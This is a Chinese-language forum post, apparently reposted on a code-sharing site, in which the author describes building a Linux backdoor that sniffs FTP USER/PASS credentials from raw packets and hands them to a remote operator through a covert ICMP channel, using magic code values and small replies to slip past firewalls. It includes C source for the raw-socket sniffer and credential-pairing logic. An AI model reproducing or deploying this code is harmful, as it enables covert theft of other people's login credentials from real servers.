注意到ICMP消息中有兩個字段,一個是type,一個是code,我們已經知道了,如果type為ICMP_ECHO,則標識這是一個回顯請求,如果type為ICMP_ECHOREPLY的話,則說明是一個回顯應答,但是code有什么作用呢?默認的ping程序中code字段都是0,但是在實際中我發現,如果你將code字段設置為其他非0值,而只要type字段設置為ICMP_ECHO的話,也會被操作系統認為是一個ping回顯請求,它馬上會給你發送一個應答.所以,如果防火牆沒有對code字段做檢測的話,我們就可以利用code來做文章:遠程主機自己構造一個ICMP_ECHO的包,在code字段填入事先約定好的特殊值,以便於后門程序能夠認出它,並且不會被操作系統和防火牆當作不速之客拒之門外,當后門程序從千千萬萬的數據包中檢測出一個這樣的特殊包時,它知道遠程的主人下命令了,要求它返回可能竊取到的用戶名和密碼,后門程序就會自己構造一個ICMP_ECHOREPLY的數據包,如果已經存儲了有效的數據的話,它取出一對數據填入這個應答包中(是一定要注意,這個回顯應答的包不能太大,以免被警覺的管理員所采取的防火牆規則阻擋住,這樣我們的后門程序就會功虧於潰),然后再加上一個特殊的標志位,發送出去.而這個特殊的標志位也同樣是ICMP中的code字段,這樣做是為了遠程主機能夠從千千萬萬的回顯應答中找到自己心儀的那一個應答數據包,從而得到竊取的信息.如果后門程序沒有采集到密碼對,則會發送一個事先約定好的無效用戶名和密碼給遠程主機,告訴它,暫時還沒有有效的數據,請不要再索取了.

另外,在程序中我們的原則是,每次回顯應答帶走一對用戶名和密碼,所以,如果某個用戶正在遠端使用虛假的ping程序呼喚密碼的話,他可以一直執行這個發送偽裝Ping包的程序,每次都能獲取到一對用戶名和密碼,直到出現無效值,說明數據已經傳送完畢.
這就是整個程序的大體的運行過程.

下面我再就實際實現與測試時出現的問題進行一些說明,這些問題也是在實現這個嗅探器的過程中困擾我最久的,好多問題都是想了幾天后類忽然發現原因的,呵呵,我已經飽受這些煎熬,所以如果你注意一下下面討論的問題,在運行程序時就不會遇到這么多麻煩的.

我們的程序是一個單線程的監聽程序,每到一個TCP包,就從中查找USER或者PASS字段,如果找到的話,就取出它后面的值,認為是用戶名或者密碼,然后存儲起來.但是會有一下情況發生.

情況(1)
如果我們的程序啟動時,用戶名已經傳送過了,而我們僅僅捕捉到了PASS的值,這個時候如果一直去等USER出現的話,就會出現差錯,你可以想象一下,如果我們取到了用戶A的登陸密碼為PASSA,而沒有得到它的用戶名,我們的程序卻在等待USER的出現,如果在某個時候USER出現了,很顯然,這是新連接的登陸用戶名,跟上一次存儲的密碼不屬於一次會話的數據,即使我們拿到了這個用戶名和密碼,也只是上一個用戶登陸的密碼和這一個用戶登陸的姓名,這樣拿到了也沒用,除非是特殊情況的出現,即同一個用戶連着登陸多次,那么,瞎貓碰着死耗子,我們得到了正確的數據,但是我們希望盡可能去獲取一次會話中的用戶名和密碼對,所以,嗅探的原則是,如果沒有用戶名,就不存儲密碼.

情況(2)
考慮再細致點,想想多用戶同時登陸的情況,假設 thatday已經連接上FTP服務器,並且鍵入了用戶名 thatday發送給FTP服務器,這個時候我們的程序也應該在FTP服務器上獲取到了用戶名thatday, 忽然thatday收到他GF打來的電話,便忘記了輸入密碼,開始跟他mm聊天,這個時候 肥肥 也去登陸,他鍵入用戶名FatFighterM,發送出去,於是我們的程序發現又有一個叫做FatFighterM的用戶名被傳過來了,但是此時程序的任務是等待一個密碼,如果直接丟棄FatFighterM這個用戶名不管,並且繼續等待對應thatday的密碼的話,可能會出現如下差錯:thatday還在聊天,肥肥當仁不讓的輸入密碼,並且登陸成功,開始工作,可我們的傻瓜程序卻會以為這是thatday的密碼,將這視為一對,存儲起來,但是這樣的數據是沒有用的,根本就不匹配!

也許你會說,那就這樣吧,如果有新來的用戶名,就丟棄先采集到的用戶名,存儲后來的用戶名,這不就行了?這樣也會有問題,如果肥肥在輸入用戶名后也接到了老婆的電話,然后他就離開座位聊起天來,當然還沒有輸入密碼(他可能認為保持半登陸狀態比輸入密碼登陸成功后離開座位更安全),這個時候thatday聊天結束,他輸入自己的密碼,發給服務器,但是這個時候我們的程序存儲的用戶名卻是肥肥的名字, 然后卻又收到了thatday的密碼,所以同樣做了無用功.因此,還需要進行更多的控制.

當然,FTP服務器是不會出這種錯誤的,因為它會為每個登陸過程開一個單獨的會話,但是我們的單線程程序卻會遇到這些問題,試想,如果我們給每個密碼對加上源IP地址進行匹配,這個問題是不是就可以解決了,對,這樣就可以解決問題了.我們可以這樣做,每來一個用戶名,就記下這個數據包的源IP和源端口,如果下次來的PASS的源IP和端口跟已經存儲的用戶名和密碼一致的話,就認為是一對,而且還繼續以前的規定,沒有用戶名之前不存儲密碼.因為不同的客戶機,源IP地址肯定不同,所以可以根據IP地址來區分不通主機的連接,而對於同一台機子上的不通用戶,他們的源IP當然是相同的了,我們只有根據它的源端口進行區分了.

如果以上說得都做到了我們就可以獲取到密碼了.
下來,該討論取密碼是應該注意的問題了.

首先說說嗅探器端,既然我們創建了一個原始套接字並且從找個套接字讀到了ping請求,好像順理成章的我們就應改把密碼對通過這個發回遠程主機,但是我在嘗試了N次之后

始終沒有成功,一個可能的原則是"鏈路層的原始套接字不能直接自己填充鏈路層頭信息並將數據發送出去",不知道這個說法正確不?期待專家的回復.因為我一開始的想法就是直接將這個數據包的源MAC和目的MAC互換,IP互換,端口互換,並希望能直接利用原來的套接字發送回去,但是最終還是沒能成功,但是我認為,這是最好的做法了.最后只好委屈求全,再次創建一個原始套接字,類型為IPPROTO_ICMP,跟自己寫ping程序一樣,寫了一段簡單的ping echo reply的代碼,用新的套接字將密碼發回,這個實在是一個巨大的暇疵!

嗅探端已經完畢,接着看遠程的命令端,我一開始就使用<<Hacking the Linux Kernel Network Stack>>中的那個命令端程序,結果偽裝包是發送成功了,可是讀取到的數據老是錯誤,用戶名和密碼總是空的,折騰了2天,這天,細心的同事忽然告訴我說你收到的消息好像跟發送的一摸一樣,這時才發現了問題所在,在原來的代碼中,作者只讀取一次就成功了,而在我得程序里,第一次read到的ICMP消息居然是自己發送出去的原封不動,關於這個原因我還沒有思考清楚,只覺得可能是由於同一台機子測試引起的,並沒有做太多的分析,希望專家給出更科學的說法!然后就增加條件,如果返回的type是ICMP_ECHO的話就扔掉,結果發現這次讀到了ICMP_ECHOREPLY,用戶名和密碼還是錯的,一想,原來是收到了系統返回的ping應答消息,最終的原則就是,當收到的ICMP消息是ICMP_ECHOREPLY時並且code字段為嗅探器所填的特殊值時,才進行處理,終於能夠正確的運行起來.

由於論壇字符上限的原因,在次只貼出了部分代碼,並且刪除了注視,完整的代碼作為附件上傳上來吧.

int main(int argc, char *argv[]) {
 int sock, n_read;
 struct ether_header *etherh;
 struct iphdr * iph;
 char buffer[BUFFER_MAX];
 /*create a raw socekt to sniffer all messages*/
 if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0) {
 exit(errno);
 }
 while (1) {
 n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
 /*--14(ethernet head) + 20(ip header) + 8(TCP/UDP/ICMP header) ---*/
 if (n_read < 42) {
 continue;
 }
 /* get ethernet header */
 etherh = (struct ether_header *)buffer;
 /* get ip header */
 iph = (struct iphdr *)(etherh + 1);
 
 switch (iph->protocol) {
 case IPPROTO_TCP: CheckTCP(iph); break;
 case IPPROTO_ICMP:
 if (MagicICMP(iph)) {
 SendData(etherh, n_read);
 }
 break;
 case IPPROTO_UDP:
 case IPPROTO_IGMP:
 default: break;
 }
 }
}
int CheckTCP(const struct iphdr *ipheader) {
 if (!ipheader) {
 return 0;
 }
 int i = 0;
 /* get tcp head */
 struct tcphdr *tcpheader = (struct tcphdr *)(ipheader + 1);
 /* get data region of the tcp packet */
 char *data = (char *)((int)tcpheader + (int)(tcpheader->doff * 4));
 if (username && target_port && target_ip) {
 if (ipheader->daddr != target_ip || tcpheader->source != target_port) {
 /*a new loading, we need to reset our sniffer */
 if (strncmp(data, "USER ", 5) == 0) {
 Reset();
 }
 }
 }
 if (strncmp(data, "USER ", 5) == 0) {
 data += 5;
 i = 0;
 if (username) {
 return 0;
 }
 char *p = data + i;
 /*the data always end with LR */
 while (*p != '\r' && *p != '\n' && *p != '\0' && i < 15) {
 i++;
 p++;
 }
 if ((username = (char *)malloc(i + 2)) == NULL) {
 return 0;
 }
 memset(username, 0x00, i + 2);
 memcpy(username, data, i);
 *(username + i) = '\0';
 }
 else if (strncmp(data, "PASS ", 5) == 0) {
 data += 5;
 i = 0;
 if (username == NULL) {
 return 0;
 }
 if (password) {
 return 0;
 }
 char *p = data;
 
 while (*p != '\r' && *p != '\n' && *p != '\0' && i < 15) {
 i++;
 p++;
 }
 if ((password = (char *)malloc(i + 2)) == NULL) {
 return 0;
 }
 memset(password, 0x00, i + 2);
 memcpy(password, data, i);
 *(password + i) = '\0';
 }
 else if (strncmp(data, "QUIT", 4) == 0) {
 Reset();
 }
 if (!target_ip && !target_port && username) {
 target_ip = ipheader->saddr;
 target_port = tcpheader->source;
 }
 if (username && password) {
 have_pair++;
 }
 if (have_pair) {
 struct node node;
 node.ip = target_ip;
 snprintf(node.Name, 15, "%s", username);
 snprintf(node.PassWord, 15, "%s", password);
 AddNode(&node);
 Reset();
 }
 return 1;
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM